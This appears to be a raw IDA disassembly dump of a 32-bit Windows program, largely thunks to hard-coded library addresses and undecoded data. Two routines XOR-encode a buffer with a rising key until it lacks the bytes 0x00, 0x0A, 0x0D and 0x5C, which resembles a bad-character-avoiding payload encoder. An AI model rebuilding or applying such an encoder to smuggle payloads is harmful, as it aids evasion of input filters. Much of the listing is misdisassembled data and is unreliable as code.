lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_4376F2
push ebx
push ebp
call eax
add esp, 8
loc_4376F2: ; CODE XREF: ___:004376E9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437734: ; CODE XREF: ___:004377ADj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4377AF
loc_437774: ; CODE XREF: ___:00437742j
; ___:00437752j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4377A6
loc_437799: ; CODE XREF: ___:004377A4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437799
loc_4377A6: ; CODE XREF: ___:00437797j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_437734
; ---------------------------------------------------------------------------
loc_4377AF: ; CODE XREF: ___:00437772j
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4378B0: ; CODE XREF: ___:0040191Fj
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43792D
push ebx
push ebp
call eax
add esp, 8
loc_43792D: ; CODE XREF: ___:00437924j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43796F: ; CODE XREF: ___:004379E8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4379AF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4379EA
loc_4379AF: ; CODE XREF: ___:0043797Dj
; ___:0043798Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4379E1
loc_4379D4: ; CODE XREF: ___:004379DFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4379D4
loc_4379E1: ; CODE XREF: ___:004379D2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43796F
; ---------------------------------------------------------------------------
loc_4379EA: ; CODE XREF: ___:004379ADj
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AB8 proc near ; CODE XREF: SEH_403530+5j
; SEH_403720+5j ...
nop
jmp near ptr 77C227FAh
sub_437AB8 endp
; ---------------------------------------------------------------------------
align 10h
byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o
; ___:0043F018o ...
db 0E9h, 47h, 0E4h
dd 4DE9777Fh, 0D9777E44h, 7F18F6E9h
; ---------------------------------------------------------------------------
ja short near ptr byte_437AE8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437AD2 proc near ; CODE XREF: ___:00406C30p
; sub_406C50+11p ...
jmp near ptr 77C29CDDh
sub_437AD2 endp
; ---------------------------------------------------------------------------
db 0BBh
db 90h
db 0E9h, 0B2h, 0FFh
dd 0E9907780h, 7781017Ch, 1FBE990h
byte_437AE8 db 81h, 77h ; CODE XREF: ___:00437AD0j
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437AEA proc near ; CODE XREF: sub_406C80+47p
; ___:00406D1Ap ...
nop
jmp near ptr 77C29CC5h
sub_437AEA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0F1h, 99h
; ---------------------------------------------------------------------------
jle short loc_437B6D
mov eax, ecx
mov dword ptr [eax], offset off_43F1D4
retn 4
; ---------------------------------------------------------------------------
loc_437B01: ; DATA XREF: ___:off_43F1D4o
push esi
mov esi, ecx
call sub_437EBC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_437B17
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
loc_437B17: ; CODE XREF: ___:00437B0Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437B22 proc near ; CODE XREF: sub_409660+4Dp
; ___:0040AA7Dp
nop
jmp near ptr 77C226F6h
sub_437B22 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 5Ch, 84h
; ---------------------------------------------------------------------------
xor byte ptr [edi-34h], 0CCh
; =============== S U B R O U T I N E =======================================
sub_437B30 proc near ; CODE XREF: sub_40A110+5p
; sub_410030+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_437B50
loc_437B3C: ; CODE XREF: sub_437B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_437B3C
loc_437B50: ; CODE XREF: sub_437B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_437B30 endp
; ---------------------------------------------------------------------------
align 10h
dd 80FAFBE9h, 0E990DE77h, 777E5424h
db 90h
; ---------------------------------------------------------------------------
loc_437B6D: ; CODE XREF: ___:00437AF4j
jmp near ptr 77C3FA76h
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7780FED8h, 2300E990h, 0E9907780h, 7780FD9Ch, 487DE990h
dd 3D83777Fh, 5109B4h, 0FF0C75FFh, 0E8042474h, 777FD25Ch
dd 68C35990h, 5109A4h, 5109B468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 464DE990h, 0E9E9777Fh, 79777FF5h, 0F5F9E990h
; ---------------------------------------------------------------------------
jg short loc_437C51
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437BDA proc near ; CODE XREF: sub_4199C0+28p
jmp near ptr 77C4FA10h
sub_437BDA endp
; ---------------------------------------------------------------------------
dec ebx
; =============== S U B R O U T I N E =======================================
sub_437BE0 proc near ; CODE XREF: sub_41B920+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_437C01
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_437C51
; ---------------------------------------------------------------------------
loc_437C01: ; CODE XREF: sub_437BE0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_437C0F: ; CODE XREF: sub_437BE0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C0F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_437C3A
cmp edx, [esp+4+arg_4]
ja short loc_437C3A
jb short loc_437C42
cmp eax, [esp+4+arg_0]
jbe short loc_437C42
loc_437C3A: ; CODE XREF: sub_437BE0+4Aj
; sub_437BE0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_437C42: ; CODE XREF: sub_437BE0+52j
; sub_437BE0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_437C51: ; CODE XREF: ___:00437BD8j
; sub_437BE0+1Fj
pop ebx
retn 10h
sub_437BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_437C60 proc near ; CODE XREF: sub_41B920+30p
; sub_41B920+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_437C82
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_437CC3
; ---------------------------------------------------------------------------
loc_437C82: ; CODE XREF: sub_437C60+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_437C90: ; CODE XREF: sub_437C60+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_437C90
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_437CBE
cmp edx, [esp+8+arg_4]
ja short loc_437CBE
jb short loc_437CBF
cmp eax, [esp+8+arg_0]
jbe short loc_437CBF
loc_437CBE: ; CODE XREF: sub_437C60+4Ej
; sub_437C60+54j
dec esi
loc_437CBF: ; CODE XREF: sub_437C60+56j
; sub_437C60+5Cj
xor edx, edx
mov eax, esi
loc_437CC3: ; CODE XREF: sub_437C60+20j
pop esi
pop ebx
retn 10h
sub_437C60 endp
; ---------------------------------------------------------------------------
dd 808DE4E9h, 0E990C577h, 7780733Ch, 810188E9h, 0E9900C77h
dd 77809196h, 809516E9h, 0E990E377h, 77809888h, 96AAE990h
dd 44E97780h, 0AE77809Ah, 0FEE2E990h, 0E9907780h, 77809E6Eh
dd 71ECE990h, 4E97780h, 7B778091h, 43ADE990h, 0E990777Fh
dd 777E4845h, 0F0D0E990h, 0E990777Fh, 777FF4D2h, 758EE990h
dd 0FEE9777Eh, 8D77807Bh, 9B30E990h, 0E9907780h, 7780269Bh
dd 25C1E990h, 0E9907780h, 778113C7h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_437D4C proc near ; CODE XREF: ___:0043297Cp
jmp near ptr 77C3619Ch
sub_437D4C endp
; ---------------------------------------------------------------------------
db 0A9h, 90h, 0E9h
dd 777FF01Ch, 8E53E990h, 4517780h, 0F3E692C4h, 9853C12h
dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh, 0AD41E226h
dd 5653917Ch, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h
dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7E7436E8h
dd 0D8B9077h, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h
dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h
dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 99E850A4h
dd 90022E81h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2469E42h
dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 77801FDEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437EBC proc near ; CODE XREF: ___:00437B04p
nop
jmp near ptr 77C21868h
sub_437EBC endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dword_437EC4 dd 777FCF89h, 1FCCE990h, 0DBE97780h, 0F5777FAEh, 7011E990h
dd 88E9777Eh, 3977801Eh, 3000068h, 6800h, 25E80001h, 59000000h
dd 7EE9C359h, 83778157h, 0C3C3C033h, 72A2E990h, 0E990777Eh
dd 777E72D3h, 7FD46FE9h, 0E990E877h, 777FDD80h, 816F16E9h
dd 0E9904E77h, 75C6844Bh, 8529E990h, 0E99075C6h, 75C5A102h
dd 7553E990h, 0F9E975C5h, 6775C684h, 0A029E990h, 9E975C4h
dd 6F75C539h, 0F765E990h, 95E975C5h, 275C4DBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_437F50 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23B8CEFh, 8DF4E990h, 0E990023Bh, 23C8098h, 85F7E990h
dd 8DE9023Ch, 0A6023D80h, 8086E990h, 0E990023Eh, 23F8080h
dd 807AE990h, 0E9900240h, 24096F4h, 4098E3E9h, 69E9E802h
dd 28024180h, 83CBE990h, 62E90241h, 4024185h, 8C4AE990h
dd 0E9900241h, 2428050h, 804AE990h, 0E9900243h, 2438CADh
dd 803EE990h, 0E9900244h, 2448373h, 8032E990h, 0E9900245h
dd 246802Ch, 46929AE9h, 0E9907402h, 2469CEEh, 801AE990h
dd 2CE90247h, 76024787h, 8DD2E990h, 0E9900247h, 2488008h
dd 4884CAE9h, 0E9908802h, 23B8886h, 7FF6E990h, 0E990023Bh
dd 23A7FF0h, 897AE990h, 0E5E90239h, 0C002397Fh, 387FDFE9h
dd 0E9901302h, 237839Dh, 7FD2E990h, 0E9900237h, 2368A2Dh
dd 8271E990h, 0E9900236h, 236819Ch, 7FBAE990h, 74E9022Dh
dd 67023681h, 8135E990h, 0E9900236h, 7C4C9095h, 8FA7E990h
dd 0E9907C4Ch, 2367F9Ch, 8DDDE990h, 0E9900235h, 2358682h
dd 7F8AE990h, 0E9900235h, 23487A2h, 86EBE990h, 0E9E90234h
dd 16023484h, 83DBE990h, 42E90234h, 0CA023482h, 7F66E990h
dd 0E9900234h, 2338CD3h, 338ADAE9h, 0D7E9CA02h, 0E1023388h
dd 338617E9h, 0E9901102h, 2338532h, 7F42E990h, 0A4E90233h
dd 0BD02328Eh, 8B5EE990h, 0E9900232h, 2328987h, 863FE990h
dd 0E9900232h, 2328301h, 327F1FE9h, 0E9906F02h, 231880Ch
dd 87D7E990h, 17E90231h, 80023181h, 317F07E9h, 0ABE9E602h
dd 7E02308Ah, 865DE990h, 0F5E90230h, 8802307Eh, 8D9AE990h
dd 0E990022Fh, 22F8B95h, 2F8877E9h, 0E990A102h, 22F85FCh
dd 7ED6E990h, 0E990022Fh, 22E7ED0h, 0F5C1E990h, 0C5E9001Bh
dd 0E102497Eh, 5390C0E9h, 0E9904102h, 24F7EB8h, 537EB3E9h
dd 0E990FA02h, 252814Ah, 7EA6E990h, 0E9900252h, 2517EA0h
dd 5080FCE9h, 95E91602h, 0BD02507Eh, 8ADAE990h, 0E990024Fh
dd 24F87AEh, 8610E990h, 0E990024Fh, 24F83C1h, 824EE990h
dd 0E9900249h, 24E8917h, 8499E990h, 0E990024Eh, 24E811Ch
dd 7E5EE990h, 0E990024Eh, 24D7E58h, 7E52E990h, 0E990024Ch
dd 24B990Fh, 9620E990h, 0E990024Bh, 24B92ECh, 9186E990h
dd 0E990024Bh, 24B7E34h, 4A7E2FE9h, 0E9905A02h, 7C608F38h
dd 0BD63E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381DE proc near ; CODE XREF: ___:0042DBE1p
jmp near ptr 71AB4FD4h
sub_4381DE endp
; ---------------------------------------------------------------------------
db 0F0h
dd 686290E9h
db 71h, 0A6h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p
nop
jmp near ptr 71AB2BF4h
sub_4381EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p
; sub_42EF60+4Fp
jmp near ptr 71AB615Ah
sub_4381F0 endp
; ---------------------------------------------------------------------------
db 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap
; sub_42F040+45p ...
nop
jmp near ptr 71AB428Ah
sub_4381F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p
; sub_42F2C0+96p ...
jmp near ptr 71AB9639h
sub_4381FC endp
; ---------------------------------------------------------------------------
inc ecx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438202 proc near
nop
jmp near ptr 71AC1028h
sub_438202 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438208 proc near ; CODE XREF: sub_42E170+71p
; sub_42ED50+50p
jmp near ptr 71AB2DC0h
sub_438208 endp
; ---------------------------------------------------------------------------
db 6Fh, 90h, 0E9h
dd 7167A9ACh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438214 proc near
jmp near ptr 71AB88D3h
sub_438214 endp
; ---------------------------------------------------------------------------
db 0D9h, 90h, 0E9h
dd 7167A946h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438220 proc near ; CODE XREF: sub_42E870+187p
jmp near ptr 71AB951Eh
sub_438220 endp
; ---------------------------------------------------------------------------
db 6Ch
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438226 proc near
nop
jmp near ptr 71AB3E00h
sub_438226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43822C proc near ; CODE XREF: sub_42DB00+B1p
nop
jmp near ptr 71AB2B66h
sub_43822C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438232 proc near ; CODE XREF: ___:0042DC2Fp
; sub_42E870+152p
nop
jmp near ptr 71AB3B91h
sub_438232 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438238 proc near
nop
jmp near ptr 71AB406Ah
sub_438238 endp
; ---------------------------------------------------------------------------
dw 0E5E9h
; ---------------------------------------------------------------------------
shl dword ptr [edi+71h], 0EBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438244 proc near ; CODE XREF: sub_42DA80+10p
nop
jmp near ptr 71AB664Dh
sub_438244 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 7167CE78h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438250 proc near ; CODE XREF: sub_434BA0+Bp
nop
jmp near ptr 71AB94DCh
sub_438250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438256 proc near ; CODE XREF: sub_41A7D0+92p
; sub_41A9C0+CAp ...
nop
jmp near ptr 71AB4544h
sub_438256 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
push 0B1E99071h
retn 7167h
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 52h, 0A9h
dd 0E9907167h, 7167AA9Bh, 0A9EFE990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43827A proc near
nop
jmp near ptr 71AB3EA1h
sub_43827A endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E3h, 4
dd 0FEE97168h, 9F7167C1h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43828C proc near ; CODE XREF: sub_42DB00+53p
; sub_42DB00+C3p
nop
jmp near ptr 71ABE6EBh
sub_43828C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap
nop
jmp near ptr 71AC0BDEh
sub_438292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_438298 proc near
jmp near ptr 71AB2A5Eh
sub_438298 endp
; ---------------------------------------------------------------------------
db 0BBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_43829E proc near ; CODE XREF: ___:0041C2B7p
; ___:0041C2CCp
nop
jmp near ptr 71B2578Ch
sub_43829E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp
; ___:0041C42Fp
jmp near ptr 71B25099h
sub_4382A4 endp
; ---------------------------------------------------------------------------
db 32h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382AA proc near ; CODE XREF: ___:00426390p
nop
jmp near ptr 71B2517Fh
sub_4382AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382B0 proc near ; CODE XREF: sub_420090+B4p
nop
jmp near ptr 76BF215Ah
sub_4382B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp
jmp near ptr 76BF1F1Ch
sub_4382B6 endp
; ---------------------------------------------------------------------------
db 39h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382BC proc near ; CODE XREF: sub_420090+21p
nop
jmp near ptr 76BF3A9Ah
sub_4382BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p
nop
jmp near ptr 76F36C5Bh
sub_4382C2 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 80h, 0DFh
dword_4382CC dd 52E97780h, 767780DEh, 80DE97E9h, 0E9909577h, 7780E040h
dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h
dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_403530 proc near ; DATA XREF: sub_403530+2o
mov eax, offset dword_43F470
jmp sub_437AB8
SEH_403530 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AE6
; ---------------------------------------------------------------------------
loc_438E6B: ; DATA XREF: ___:0043F4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
